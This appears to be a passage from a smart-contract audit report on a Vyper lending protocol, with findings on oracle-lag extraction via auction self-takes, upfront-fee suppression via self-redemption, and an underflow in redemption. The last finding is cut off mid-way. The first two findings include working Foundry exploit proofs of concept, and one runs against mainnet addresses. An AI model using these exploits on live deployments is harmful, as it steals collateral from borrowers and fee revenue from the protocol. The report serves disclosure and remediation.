Root Cause

The choice to require a 1.0x starting buffer for the zapper's redemption self-take path is a mistake as it eliminates the protective markup over the oracle that the Factory documentation states must cover maximum expected oracle deviation, allowing auctions to open at or below executable market prices when the oracle lags upward moves.

In `src/periphery/leverage_zapper.vy:408–445` the `troveCallback()` function explicitly requires `starting_price_buffer_percentage == 1e18` (the `_MAX_STARTING_PRICE_BUFFER` constant) and immediately takes the entire auction at its starting price in the same transaction, preventing price discovery or competition from realizing the collateral's current market value.

In `src/auction.vy:358–453` the `take()` function skips payment collection on the portion of `needed_amount` up to `maximum_amount` when `msg.sender == auction.receiver`, and since both are the zapper in this flow, proceeds up to redeemed debt are netted rather than transferred, allowing the attacker to acquire victim collateral without paying the auction.

In `src/dutch_desk.vy:186–205` the `_get_prices()` function applies the configured `starting_price_buffer_percentage` to the oracle price with no lower bound, and when that buffer is 1.0x, the starting price equals the oracle price with no protective markup.

In `src/factory.vy:211–265` the `_validate_params()` function permits `starting_price_buffer_percentage >= _WAD` (`1e18`) despite the `DeployParams` struct documentation at `src/factory.vy:28–67` stating the buffer "must be `>=` max oracle deviation from market price to ensure the starting auction price is always above market price, preventing value extraction from oracle lag."

Internal Pre-Conditions

1. A market must be configured with `starting_price_buffer_percentage` set to exactly `1e18` (1.0x, no markup over oracle).

2. The market must be endorsed by governance through `IRegistry.endorse()` to enable zapper access.
3. The Lender must have insufficient idle borrow-token liquidity to fulfill the attacker's requested borrow amount atomically.
4. Lower-rate Troves with active status must exist and have annual interest rates below the attacker's chosen rate to qualify for redemption.

External Pre-Conditions

1. The oracle price must lag behind the executable market price for the collateral by more than the combined cost of upfront fees, gas, and the attacker's capital expenses.
2. The oracle must remain valid and not revert during the attack transaction despite the lag.

Attack Path

1. Attacker calls `open_leveraged_trove()` or `lever_up_trove()` on the leverage zapper, declaring total collateral that satisfies the minimum collateral ratio check at the current oracle price and contributing only the margin needed beyond redeemed collateral.
2. The Trove Manager records the attacker's full new debt including upfront fee in `open_trove()` at `src/trove_manager.vy:366-511` or `borrow()` at `src/trove_manager.vy:596-725`.
3. The Trove Manager calls `_transfer_borrow_tokens()` at `src/trove_manager.vy:1600-1648`, detects insufficient idle liquidity, and invokes `_redeem()` at `src/trove_manager.vy:1289-1467` to free the shortfall from lower-rate victims.
4. Redemption removes approximately `debt_to_free / stale_oracle_price` collateral from victims and calls `dutch_desk.kick()` at `src/dutch_desk.vy:107-150`, which increments the nonce and kicks an auction with `maximum_amount` equal to the redeemed debt and starting price derived from the stale oracle with 1.0x buffer.
5. Control returns to `troveCallback()` in `src/periphery/leverage_zapper.vy:408-445`, which detects the nonce increase and immediately calls `take(nonce_before)` on the auction.
6. The auction at `src/auction.vy:358-453` sends all redeemed collateral to the zapper and skips collecting payment on the portion up to `maximum_amount` because `msg.sender` (the zapper) equals `auction.receiver` (also the zapper).
7. The Trove Manager pulls the declared collateral amount from the zapper into the attacker's new or enlarged Trove, and the operation succeeds because solvency is checked using the same stale oracle price.

8. Once the oracle updates to reflect the higher market price, the attacker's Trove becomes more overcollateralized and they can remove excess collateral or close the Trove, realizing the spread between market value and the victim's debt relief.

Impact

Lower-rate borrowers lose collateral worth materially more at executable market prices than the debt removed from their Troves. The attacker atomically reserves the full lot at the stale oracle price, eliminating auction competition and capturing the oracle-to-market premium. The Lender loses the surplus that a properly buffered or competitively settled auction would have realized, as no meaningful surplus exists with a 1.0x starting buffer. The attack can be repeated across multiple eligible Troves whenever upward market moves outrun the oracle, with each transaction processing up to the redemption walk bound.

Affected Code

src/periphery/leverage_zapper.vy:189-263,
src/periphery/leverage_zapper.vy:292-373,
src/periphery/leverage_zapper.vy:398-455

- `open_leveraged_trove()`
- `lever_up_trove()`
- `troveCallback()`

src/trove_manager.vy:366-511, src/trove_manager.vy:596-725,
src/trove_manager.vy:1289-1467, src/trove_manager.vy:1600-1648

- `open_trove()`
- `borrow()`
- `_redeem()`
- `_transfer_borrow_tokens()`

src/dutch_desk.vy:97-160, src/dutch_desk.vy:176-207

- `kick()`
- `_get_prices()`

src/auction.vy:348-463

- `take()`

src/factory.vy:28-67, src/factory.vy:211-265

- `DeployParams.starting_price_buffer_percentage`
- `_validate_params()`

script/DeployMarket.s.sol:61-82

- Deployment parameters set `starting_price_buffer_percentage` to exactly `1e18`

Mitigation

Do not allow redemption self-takes with a 1.0x starting buffer. Require endorsed zapper markets to use a positive buffer covering expected oracle deviation, and redesign `troveCallback()` to source and pay any auction amount above `maximum_amount` using flash loans or alternative liquidity so that surplus reaches the Lender. A safe implementation can use a flash loan for the full buffered auction payment, allow `take()` to route `maximum_amount` to the zapper and genuine surplus to the Lender, swap only enough received collateral to repay the flash loan, and deposit the remainder while enforcing user-specified minimum final collateral and maximum payment bounds. Until that is implemented, revert leveraged opens and lever-ups when they require redemption.

Proof-of-Concept

`test/ZeroBufferOracleLagExtractionPOC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.so
l";

import "./Base.sol";

/// @dev A liquid external venue at the executable (non-lagging)
price. Its USDC reserve is
///      funded as a market precondition; it never mints funds to
the attacker.
contract FixedPriceMarket {
    IERC20 public immutable collateral;
    IERC20 public immutable quote;
    uint256 public immutable price;

    uint256 internal constant PRICE_SCALE = 1e36;

    constructor(IERC20 _collateral, IERC20 _quote, uint256
_price) {
        collateral = _collateral;
        quote = _quote;
        price = _price;
    }
}
```



```

    /// @dev Router-compatible exact-input sale used by the
    protocol's real SwapExecutor.
    function swap(address tokenIn, address tokenOut) external
    returns (uint256 quoteAmount) {
        require(tokenIn == address(collateral) && tokenOut ==
    address(quote), "pair");
        uint256 collateralAmount =
    collateral.allowance(msg.sender, address(this));
        quoteAmount = collateralAmount * price / PRICE_SCALE;
        require(collateral.transferFrom(msg.sender,
    address(this), collateralAmount), "collateral transfer");
        require(quote.transfer(msg.sender, quoteAmount), "quote
    transfer");
    }
}

contract ZeroBufferOracleLagExtractionPOC is Base {
    uint256 internal constant MARKET_PREMIUM_BPS = 100; //
    executable market is 1% above the lagging oracle

    function setUp() public override {
        // This is the configuration used by the deployment
    script and required by the zapper's
        // redemption self-take path.
        startingPriceBufferPercentage = WAD;
        Base.setUp();

        vm.prank(deployerAddress);
        daddy.execute(
            address(registry),
            abi.encodeWithSelector(IRegistry.endorse.selector,
    address(troveManager)),
            0,
            true
        );
    }

    function test_zeroBufferSelfTakeExtractsOracleLagValue()
    public {
        uint256 fairPrice = priceOracle.get_price();
        uint256 debtAmount = 100_000 * BORROW_TOKEN_PRECISION;

        // Realistic precondition: lender liquidity has already
    been borrowed by a lower-rate victim.
        mintAndDepositIntoLender(userLender, debtAmount);
        uint256 victimId = _exhaustIdleLiquidity();
        assertEq(borrowToken.balanceOf(address(lender)), 0, "idle
    liquidity must be exhausted");

        // A separate liquid market continues to execute at the
    current fair price. Funding this
        // venue is initial market liquidity, not attacker

```



```

profit.
    FixedPriceMarket market = new
FixedPriceMarket(collateralToken, borrowToken, fairPrice);
    deal(address(borrowToken), address(market), debtAmount *
2);
    vm.prank(deployerAddress);
    daddy.execute(
        address(leverageZapper),

abi.encodeWithSelector(ILeverageZapper.set_router.selector,
address(market), true),
    0,
    true
);

(uint256 attackerId, uint256 attackerInitialCollateral) =
_performLaggingOracleAttack(debtAmount, fairPrice,
victimId);

    _realizeAndAssertProfit(
        attackerId,
        attackerInitialCollateral,
        fairPrice,
        market
    );
}

function _exhaustIdleLiquidity() internal returns (uint256
victimId) {
    uint256 idle = borrowToken.balanceOf(address(lender));
    uint256 collateral = idle *
DEFAULT_TARGET_COLLATERAL_RATIO * ORACLE_PRICE_SCALE
        / (BORROW_TOKEN_PRECISION * priceOracle.get_price());
    victimId = mintAndOpenTrove(anotherUserBorrower,
collateral, idle, DEFAULT_ANNUAL_INTEREST_RATE);
}

function _openAttack(
    uint256 debtAmount,
    uint256 stalePrice
) internal returns (uint256 attackerId, uint256
initialCollateral, uint256 declaredCollateral) {
    uint256 attackRate = DEFAULT_ANNUAL_INTEREST_RATE * 2;
    uint256 fee = troveManager.get_upfront_fee(debtAmount,
attackRate);
    uint256 redeemedCollateral = debtAmount *
ORACLE_PRICE_SCALE / stalePrice;

    // The attacker contributes only the margin needed to
make the new position 112% CR at
    // the stale price. The remainder must come from the
victim through the real self-take.

```

```

        uint256 targetRatio =
troveManager.minimum_collateral_ratio() + 2 *
troveManager.one_pct();
        declaredCollateral = (debtAmount + fee) * targetRatio *
ORACLE_PRICE_SCALE
        / (BORROW_TOKEN_PRECISION * stalePrice) + 2;
        initialCollateral = declaredCollateral -
redeemedCollateral;
        airdrop(address(collateralToken), userBorrower,
initialCollateral);

        vm.prank(userBorrower);
        collateralToken.approve(address(leverageZapper),
initialCollateral);

        ILeverageZapper.OpenLeveragedData memory data;
        data.owner = userBorrower;
        data.trove_manager = address(troveManager);
        data.owner_index = 777;
        data.initial_collateral = initialCollateral;
        data.collateral_amount = declaredCollateral;
        data.debt_amount = debtAmount;
        data.annual_interest_rate = attackRate;
        data.max_upfront_fee = fee;
        data.min_collateral_out = redeemedCollateral;
        data.debt_swap = ILeverageZapper.SwapData({router:
address(0), data: ""});

        vm.prank(userBorrower);
        attackerId = leverageZapper.open_leveraged_trove(data);
    }

    function _performLaggingOracleAttack(
        uint256 debtAmount,
        uint256 fairPrice,
        uint256 victimId
    ) internal returns (uint256 attackerId, uint256
initialCollateral) {
        ITroveManager.Trove memory victimBefore =
troveManager.troves(victimId);

        // Model an ordinary 1% upward market move which the
configured oracle has not yet reported.
        // Keep the two oracle return formats internally
consistent with the real adapter.
        uint256 stalePrice = fairPrice * BPS / (BPS +
MARKET_PREMIUM_BPS);
        uint256 oracleScaleFactor = 10 ** (
            36 + IERC20Metadata(address(borrowToken)).decimals()
            -
IERC20Metadata(address(collateralToken)).decimals()
        );

```

```

        uint256 staleWadPrice = stalePrice * WAD /
oracleScaleFactor;
        vm.mockCall(address(priceOracle),
abi.encodeWithSignature("get_price()"), abi.encode(stalePrice));
        vm.mockCall(address(priceOracle),
abi.encodeWithSignature("get_price(bool)", false),
abi.encode(staleWadPrice));

        uint256 quoteBefore =
borrowToken.balanceOf(userBorrower);
        assertEq(quoteBefore, 0, "attacker starts with USDC");
        uint256 declaredCollateral;
        (attackerId, initialCollateral, declaredCollateral) =
_openAttack(debtAmount, stalePrice);

        ITroveManager.Trove memory victimAfter =
troveManager.troves(victimId);
        ITroveManager.Trove memory attackerTrove =
troveManager.troves(attackerId);

        // The attacker supplied no USDC. The zero-buffer auction
was completely netted because
        // the attacker-controlled zapper was also the auction
proceeds receiver.
        assertEq(borrowToken.balanceOf(userBorrower),
quoteBefore, "attacker unexpectedly paid USDC");
        assertEq(borrowToken.balanceOf(address(leverageZapper)),
0, "zapper retained USDC");
        assertEq(auction.get_available_amount(0), 0, "self-taken
auction not empty");
        assertEq(attackerTrove.collateral, declaredCollateral,
"redeemed collateral not deposited");
        assertLt(victimAfter.collateral, victimBefore.collateral,
"victim lost no collateral");
        assertLt(victimAfter.debt, victimBefore.debt, "victim
received no debt relief");
        assertEq(victimBefore.debt - victimAfter.debt,
debtAmount, "wrong redemption debt");
        assertEq(
            victimBefore.collateral - victimAfter.collateral,
            attackerTrove.collateral - initialCollateral,
            "victim collateral was not the attacker's leverage"
        );
    }

    function _realizeAndAssertProfit(
        uint256 attackerId,
        uint256 initialCollateral,
        uint256 fairPrice,
        FixedPriceMarket market
    ) internal {
        // The oracle catches up. A real Morpho flash loan plus

```

```

the protocol's close path sells all
    // collateral into the independently funded venue, repays
the debt, and cashes out the spread.
    vm.clearMockedCalls();
    assertEq(priceOracle.get_price(), fairPrice, "fair oracle
price changed");

    ITroveManager.Trove memory trove =
troveManager.troves(attackerId);
    uint256 initialCapitalValue = initialCollateral *
fairPrice / ORACLE_PRICE_SCALE;
    skip(1);
    uint256 debtToClose =
troveManager.get_trove_debt_after_interest(attackerId);
    vm.prank(userBorrower);
    troveManager.approve(address(leverageZapper), true);

    vm.prank(userBorrower);
    leverageZapper.close_leveraged_trove(
        ILeverageZapper.CloseLeveragedData({
            trove_manager: address(troveManager),
            flash_loan_token: address(borrowToken),
            trove_id: attackerId,
            flash_loan_amount: debtToClose,
            collateral_swap: ILeverageZapper.SwapData({
                router: address(market),
                data: abi.encodeWithSelector(
                    FixedPriceMarket.swap.selector,
                    address(collateralToken),
                    address(borrowToken)
                )
            }),
            debt_swap: ILeverageZapper.SwapData({router:
address(0), data: ""})
        })
    );

    trove = troveManager.troves(attackerId);
    assertEq(uint256(trove.status),
uint256(ITroveManager.Status.closed), "trove remains open");
    assertEq(trove.collateral, 0, "collateral remains
locked");
    assertEq(trove.debt, 0, "debt remains outstanding");

    uint256 finalCash = borrowToken.balanceOf(userBorrower);
    assertGt(finalCash, initialCapitalValue, "attacker did
not extract value");
    uint256 profit = finalCash - initialCapitalValue;
    assertGt(profit, 0, "oracle lag produced no profit");
}
}

```

Command:

```
test -n "$ETH_RPC_URL" || { echo 'ETH_RPC_URL is required' >&2; exit
1; }; uv run forge test --match-path
test/ZeroBufferOracleLagExtractionPOC.t.sol --match-test
test_zeroBufferSelfTakeExtractsOracleLagValue -vv
```

Impact:

PASS: The attacker starts with no USDC, redeems a lower-rate victim through the real zero-buffer self-take path, closes using a Morpho flash loan, repays all debt, and ends with USDC worth more than their initial collateral.

M-07 Borrower will suppress protocol upfront fees via temporary self-redeemed helper debt [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: Medium

×

● Likelihood: Medium

Summary

The upfront fee calculation derives the average market rate from mutable global debt totals that include newly created positions in the same transaction, allowing a borrower to insert a temporary minimum-rate helper Trove before opening a high-rate position. The helper depresses the weighted average and reduces the fee charged to the real position. Redemption triggered by insufficient lender liquidity removes the helper debt atomically despite the repayment cooldown, and auction receiver/taker netting lets the attacker recycle the redeemed collateral into the intended position while paying only surplus above the auction cap. The protocol permanently collects the reduced fee while the borrower retains the helper's principal as effective loan proceeds, avoiding substantial fee revenue on large high-rate borrows.

Root Cause

- In `src/trove_manager.vy:1500-1531` the `_get_upfront_fee()` function calculates the average market rate from `self.total_debt` and `self.total_weighted_debt`, which reflect all debt changes made in the current transaction. A newly opened low-rate helper Trove contributes substantial denominator with minimal weighted numerator, depressing the average used to price the next fee quote.
- In `src/trove_manager.vy:1279-1457` the `_redeem()` function does not exclude Troves owned by the same address as the redeemer and preferentially selects the lowest-rate Trove. A borrower's high-rate action can

redeem the same borrower's just-created minimum-rate helper when `_transfer_borrow_tokens()` calls `_redeem()` after the helper has consumed idle lender liquidity.

- The repayment cooldown at `last_debt_increase_time` gates `repay()`, `close_trove()`, and `close_zombie_trove()` but does not prevent redemption from removing newly created debt in the same transaction.
- In `src/auction.vy:358-453` the `take()` function nets payments up to `auction.maximum_amount` when `msg.sender` equals `auction.receiver`. An attacker who is both the auction proceeds receiver and the taker pays only surplus above the cap, enabling immediate recovery of redeemed collateral at minimal cost.

Internal Pre-Conditions

1. Lender contract needs to have idle borrow-token liquidity approximately equal to or greater than the attacker's intended real borrowing amount.
2. Total market debt needs to be small enough that inserting a minimum-rate helper materially affects the weighted average used for fee calculation.
3. Minimum collateral ratio and auction starting price buffer need to be configured such that self-taking the auction at the starting price costs less than the fee avoided.

External Pre-Conditions

1. Attacker needs to supply collateral for both the helper Trove and the incremental overcollateralization not recovered from the redeemed helper, funded externally or through flash loans.
2. Oracle price for the collateral needs to remain stable during the attack transaction to preserve the collateral ratio and auction pricing assumptions.

Attack Path

1. Attacker calls `open_trove()` with `owner_index=0`, supplying collateral for a large helper Trove at `min_annual_interest_rate` and `debt_amount` approximately equal to the intended real borrowing. The helper consumes idle lender liquidity and delivers borrow tokens to the attacker. The helper's debt and weighted debt are added to `total_debt` and `total_weighted_debt` in `src/truve_manager.vy:1500-1531`.
2. In the same transaction, attacker calls `open_trove()` with `owner_index=1` and a much higher `annual_interest_rate`, requesting `debt_amount` large enough to redeem most of the helper. The fee quote in `src/truve_manager.vy:1500-1531` includes the low-rate helper in the global average, producing a materially reduced upfront fee.

3. Because the lender has no idle liquidity after the helper, `_transfer_borrow_tokens()` in `src/trove_manager.vy:1609-1648` calls `_redeem()` to deliver the requested borrow tokens.
4. The redemption walk in `src/trove_manager.vy:1279-1457` selects the attacker's own minimum-rate helper as the lowest-rate Trove and removes debt approximately equal to the real borrowing request. The redeemed collateral is sent to a new auction with the attacker as proceeds receiver, and the helper is reduced to a small zombie.
5. During the Trove callback in `src/trove_manager.vy:374-501`, the attacker calls `take()` in `src/auction.vy:358-453` on the auction kicked in step 4. Because the attacker is both `msg.sender` and `auction.receiver`, payment up to `auction.maximum_amount` is netted and only surplus is transferred to the lender.
6. The attacker supplies the recovered helper collateral plus additional collateral as the real Trove's collateral in the outer `open_trove()` call. The operation completes with the attacker retaining the helper's borrow-token principal as effective loan proceeds and paying only the depressed fee.
7. After the repayment cooldown expires, attacker calls `close_zombie_trove()` to repay the small residual helper debt and recover its remaining collateral.

Impact

The borrower permanently underpays protocol fee revenue while obtaining the same effective loan size. On the endorsed mainnet yvUSD/USDC market, a borrower opening a 100,000 USDC position at maximum rate pays 342.877650 USDC in combined helper and real fees instead of the honest single-position fee of 684.933383 USDC, avoiding 342.055733 USDC. The loss scales with borrowing size and undermines the prepaid-interest mechanism intended to deter transient rate and redemption-priority manipulation. Fee quotes for other transactions included while the helper is live are also distorted.

Affected Code

`src/trove_manager.vy:374-501`

- `open_trove()`

`src/trove_manager.vy:604-713`

- `borrow()`

`src/trove_manager.vy:1500-1531`

- `_get_upfront_fee()`

`src/trove_manager.vy:1279-1457`

- `_redeem()`

src/trove_manager.vy:1609-1648

- `_transfer_borrow_tokens()`

src/auction.vy:358-453

- `take()`

Mitigation

Price upfront fees from a delayed or time-weighted market-rate observation that newly created temporary debt cannot influence in the same transaction. A conservative floor tied to the borrower's selected rate, such as `max(snapshot_average, borrower_rate * k)` with an appropriately chosen `k`, can provide additional defense. As defense in depth, prevent newly created debt from being immediately unwound through borrower-triggered redemption by enforcing a minimum debt age before redemption eligibility or by collecting an appropriate remaining prepaid-fee floor when newly created debt is redeemed. An own-address exclusion alone is bypassable through Sybil identities and should be paired with the time-based or fee-based mitigations.

Proof-of-Concept

``test/SelfRedemptionUpfrontFeePOC.t.sol`:`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from
"@openzeppelin/contracts/interfaces/IERC4626.sol";
import {Test} from "forge-std/Test.sol";

import {IRegistry} from "../script/interfaces/IRegistry.sol";
import {IAuction} from "./interfaces/IAuction.sol";
import {IDutchDesk} from "./interfaces/IDutchDesk.sol";
import {IPriceOracle} from "./interfaces/IPriceOracle.sol";
import {ITroveManager} from "./interfaces/ITroveManager.sol";

/// @dev Executes both attacker-created borrows and consumes the
/// redemption auction in the
/// supported Trove callback. It receives no seeded USDC;
/// its only USDC is the helper loan.
contract SelfRedemptionAttacker {

    ITroveManager public immutable troveManager;
    IDutchDesk public immutable dutchDesk;
    IAuction public immutable auction;
```



```

IERC20 public immutable collateral;
IERC20 public immutable borrowToken;

uint256 public helperTroveId;
uint256 public realTroveId;
uint256 public auctionId;
uint256 public actualRealFee;
uint256 public collateralReceivedFromAuction;
uint256 public auctionPaymentQuoted;

constructor(ITroveManager _troveManager) {
    troveManager = _troveManager;
    dutchDesk = IDutchDesk(_troveManager.dutch_desk());
    auction = IAuction(dutchDesk.auction());
    collateral = IERC20(_troveManager.collateral_token());
    borrowToken = IERC20(_troveManager.borrow_token());

    collateral.approve(address(_troveManager),
type(uint256).max);
    borrowToken.approve(address(auction), type(uint256).max);
}

function attack(
    uint256 helperPrincipal,
    uint256 helperCollateral,
    uint256 realPrincipal,
    uint256 realCollateral
) external {
    helperTroveId = troveManager.open_trove(
        0,
        helperCollateral,
        helperPrincipal,
        0,
        0,
        troveManager.min_annual_interest_rate(),
        type(uint256).max,
        helperPrincipal,
        0
    );

    // The low-rate helper debt is now included in the
market-average fee quote.
    actualRealFee =
troveManager.get_upfront_fee(realPrincipal,
troveManager.max_annual_interest_rate());
    auctionId = dutchDesk.nonce();

    // The helper exhausted idle liquidity. This high-rate
loan therefore self-redeems the
    // lower-rate helper and makes this contract the
redemption auction's proceeds receiver.
    realTroveId = troveManager.open_trove(

```

```

        1,
        realCollateral,
        realPrincipal,
        0,
        0,
        troveManager.max_annual_interest_rate(),
        type(uint256).max,
        0,
        1,
        address(this),
        abi.encode(auctionId)
    );
}

function troveCallback(uint256, bytes calldata data) external
{
    require(msg.sender == address(troveManager), "not trove
manager");
    require(abi.decode(data, (uint256)) == auctionId, "wrong
auction");
    require(dutchDesk.nonce() == auctionId + 1, "auction not
kicked");

    uint256 beforeBalance =
collateral.balanceOf(address(this));
    auctionPaymentQuoted =
auction.get_needed_amount(auctionId, type(uint256).max,
block.timestamp);
    auction.take(auctionId, type(uint256).max, address(this),
""");
    collateralReceivedFromAuction =
collateral.balanceOf(address(this)) - beforeBalance;
    // TroveManager pulls the declared real collateral only
after this callback returns.
}

function recoverHelperCollateral() external {
    troveManager.close_zombie_trove(helperTroveId);
}
}

contract SelfRedemptionUpfrontFeePOC is Test {

    struct Scenario {
        uint256 helperPrincipal;
        uint256 helperFee;
        uint256 helperDebt;
        uint256 realPrincipal;
        uint256 honestRealFee;
        uint256 predictedRealFee;
        uint256 helperCollateral;
        uint256 realCollateral;
    }

```

```

        uint256 redeemedCollateral;
        uint256 attackerOwnRealCollateral;
    }

    uint256 internal constant FORK_BLOCK = 25_733_712;
    uint256 internal constant ORACLE_PRECISION = 1e36;
    uint256 internal constant ONE_YEAR = 365 days;

    address internal constant REGISTRY =
0x9117440a7D03238905d1C8908157Bd7a547c77c8;
    address internal constant TROVE_MANAGER =
0x8ee72c388aA73096338EE18CD46a39D98b8983c9;
    address internal constant LENDER =
0xD93Dade7Ac8b5d1687da5d074835cB4404Dee8bA;
    address internal constant USDC =
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address internal constant YVUSD =
0x696d02Db93291651ED510704c9b286841d506987;

    ITroveManager internal constant TM =
ITroveManager(TROVE_MANAGER);
    IERC20 internal constant BORROW = IERC20(USDC);
    IERC20 internal constant COLLATERAL = IERC20(YVUSD);

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"),
FORK_BLOCK);
    }

    function test_selfRedemptionSuppressesUpfrontFees() public {
        // Check the PoC is exercising the documented, endorsed
v1.1 mainnet deployment and its
        // real configuration rather than replacing deployed
assumptions with local contracts.

        assertEq(uint256(IRegistry(REGISTRY).market_status(TROVE_MANAGER)
), uint256(IRegistry.Status.endorsed));
        assertEq(TM.lender(), LENDER);
        assertEq(TM.borrow_token(), USDC);
        assertEq(TM.collateral_token(), YVUSD);
        assertEq(TM.upfront_interest_period(), 1 days);
        assertEq(TM.repay_cooldown(), 10 minutes);

        assertEq(IDutchDesk(TM.dutch_desk()).starting_price_buffer_percentage(), 1e18);
        assertEq(TM.total_debt(), 0);
        assertEq(BORROW.balanceOf(LENDER), 0);

        Scenario memory s = _buildScenario();

        SelfRedemptionAttacker attacker = new
SelfRedemptionAttacker(TM);

```

```

        // Legitimate preconditions only: a lender deposits USDC
and the attacker supplies the
        // overcollateralization not sourced from redemption. No
USDC is given to the attacker.
        address depositor = makeAddr("depositor");
        deal(USDC, depositor, s.helperPrincipal);
        vm.startPrank(depositor);
        BORROW.approve(LENDER, s.helperPrincipal);
        IERC4626(LENDER).deposit(s.helperPrincipal, depositor);
        vm.stopPrank();
        deal(YVUSD, address(attacker), s.helperCollateral +
s.attackerOwnRealCollateral);

        uint256 feesBefore = TM.unclaimed_protocol_fees();
        assertEq(feesBefore, 0);
        assertEq(BORROW.balanceOf(address(attacker)), 0,
"attacker USDC must not be seeded");

        attacker.attack(s.helperPrincipal, s.helperCollateral,
s.realPrincipal, s.realCollateral);
        _assertImpact(attacker, s, feesBefore);
    }

    function _buildScenario() internal view returns (Scenario
memory s) {
        s.helperPrincipal = 100_000e6;
        uint256 minRate = TM.min_annual_interest_rate();
        uint256 maxRate = TM.max_annual_interest_rate();
        uint256 precision = TM.borrow_token_precision();
        uint256 period = TM.upfront_interest_period();

        // Empty-market counterfactual: this is the fee for
opening only the intended max-rate
        // position, without inserting temporary low-rate debt
first.
        s.helperFee = s.helperPrincipal * minRate * period /
ONE_YEAR / precision;
        s.helperDebt = s.helperPrincipal + s.helperFee;
        s.realPrincipal = s.helperDebt; // enough to redeem the
helper completely
        s.honestRealFee = TM.get_upfront_fee(s.realPrincipal,
maxRate);

        // Predict the manipulated quote exactly as
_get_upfront_fee does after the helper opens.
        uint256 manipulatedAverageRate =
            (s.helperDebt * minRate + s.realPrincipal * maxRate)
/ (s.helperDebt + s.realPrincipal);
        s.predictedRealFee = s.realPrincipal *
manipulatedAverageRate * period / ONE_YEAR / precision;

```

```

        uint256 price =
IPriceOracle(TM.price_oracle()).get_price();
        s.helperCollateral = s.helperDebt * 150 / 100 *
ORACLE_PRECISION / price;
        uint256 realDebt = s.realPrincipal + s.predictedRealFee;
        s.realCollateral = realDebt * 150 / 100 *
ORACLE_PRECISION / price;
        s.redeemedCollateral = s.helperDebt * ORACLE_PRECISION /
price;
        s.attackerOwnRealCollateral = s.realCollateral -
s.redeemedCollateral;
    }

    function _assertImpact(SelfRedemptionAttacker attacker,
Scenario memory s, uint256 feesBefore) internal {
        uint256 actualTotalFees = TM.unclaimed_protocol_fees() -
feesBefore;
        uint256 avoidedFee = s.honestRealFee - actualTotalFees;
        ITroveManager.Trove memory helper =
TM.troves(attacker.helperTroveId());
        ITroveManager.Trove memory real =
TM.troves(attacker.realTroveId());
        IAuction.AuctionInfo memory kicked =
attacker.auction().auctions(attacker.auctionId());

        // Concrete impact: even after paying both helper and
real fees, the attacker pays less
        // than the single honest fee. The missing amount is
permanent foregone protocol revenue.
        assertEq(attacker.actualRealFee(), s.predictedRealFee);
        assertEq(actualTotalFees, s.helperFee +
s.predictedRealFee);
        assertLt(actualTotalFees, s.honestRealFee);
        assertGt(avoidedFee, 0);

        // The temporary fee-manipulating debt was removed in the
same transaction despite the
        // ten-minute repayment cooldown, and its collateral
really funded the intended Trove.
        assertEq(helper.debt, 0);
        assertEq(uint256(helper.status),
uint256(ITroveManager.Status.zombie));
        assertEq(uint256(real.status),
uint256(ITroveManager.Status.active));
        assertEq(real.collateral, s.realCollateral);
        assertEq(attacker.collateralReceivedFromAuction(),
s.redeemedCollateral);
        assertEq(COLLATERAL.balanceOf(address(attacker)), 0);

        // Self-taking as the auction proceeds receiver nets
payment up to maximum_amount.
        assertEq(kicked.receiver, address(attacker));

```

```

    assertEq(kicked.maximum_amount, s.helperDebt);
    assertEq(kicked.current_amount, 0);
    assertEq(kicked.amount_received,
attacker.auctionPaymentQuoted());
    assertLe(kicked.amount_received, kicked.maximum_amount);
    assertEq(BORROW.balanceOf(LENDER), 0);
    assertEq(BORROW.balanceOf(address(attacker)),
s.helperPrincipal);

    // Waiting out the real cooldown lets the attacker
recover all helper collateral that was
    // not routed through the auction; no helper debt remains
to repay.
    skip(TM.repay_cooldown() + 1);
    attacker.recoverHelperCollateral();
    ITroveManager.Trove memory closedHelper =
TM.troves(attacker.helperTroveId());
    assertEq(uint256(closedHelper.status),
uint256(ITroveManager.Status.closed));
    assertEq(COLLATERAL.balanceOf(address(attacker)),
s.helperCollateral - s.redeemedCollateral);

    emit log_named_decimal_uint("honest max-rate upfront fee
(USDC)", s.honestRealFee, 6);
    emit log_named_decimal_uint("both exploited-path fees
(USDC)", actualTotalFees, 6);
    emit log_named_decimal_uint("protocol fee avoided
(USDC)", avoidedFee, 6);
}
}

```

Command:

```

uv run forge test --match-path test/SelfRedemptionUpfrontFeeP0C.t.sol
--match-test test_selfRedemptionSuppressesUpfrontFees -vv

```

Impact:

PASS: Self-redemption reduced total upfront fees from 684.933383 USDC to 342.877650 USDC, avoiding 342.055733 USDC of protocol revenue.

L-01 Insolvent trove can block liquidity-shortfall redemptions [Low]

Status

Unresolved

Severity

● Severity: Low

≈

● Impact: Low

×

● Likelihood: Low

Summary

Unbounded debt-to-collateral conversion in `_redeem()` will cause arithmetic underflow reverts that block lender withdrawals, borrowing, and fee claims for shareholder as lender shareholders and borrowers will initiate redemption-dependent operations when the trove walk encounters an undercollateralized position.

Root Cause

- In `src/trove_manager.vy:1357-1361` the `debt_to_free` calculation caps by remaining requested debt and trove debt but does not cap by the trove's oracle-valued collateral, allowing redemption requests that exceed collateral-backed value.
- In `src/trove_manager.vy:1381-1385` the `collateral_to_redeem` calculation derives collateral amount from `debt_to_free` using oracle price, then unconditionally subtracts this from `trove.collateral` without verifying the trove holds sufficient collateral, causing underflow when collateral value is below debt.

Internal Pre-Conditions

1. At least one trove needs to accrue debt or lose collateral value to set collateral ratio to be below 100% (collateral value < debt).
2. Trove needs to reach zombie status or maintain lowest interest rate among active troves to be first in redemption walk.
3. Lender idle liquidity needs to be insufficient relative to shareholder redemption request to trigger `_transfer_borrow_tokens()` redemption path.

External Pre-Conditions

1. Oracle price needs to decline or remain low enough that trove collateral value falls below accrued debt before liquidation occurs.
2. Liquidators need to delay or skip liquidation of the undercollateralized trove, leaving it available for redemption walk.

Attack Path

1. Shareholder calls `Lender.redeem()` with share amount that converts to borrow token amount exceeding lender idle liquidity.
2. Lender calls `TroveManager.redeem()` with derived debt amount and receiver address.
3. `_redeem()` selects zombie trove or lowest-rate trove from sorted list at `src/trove_manager.vy:1327-1329`.

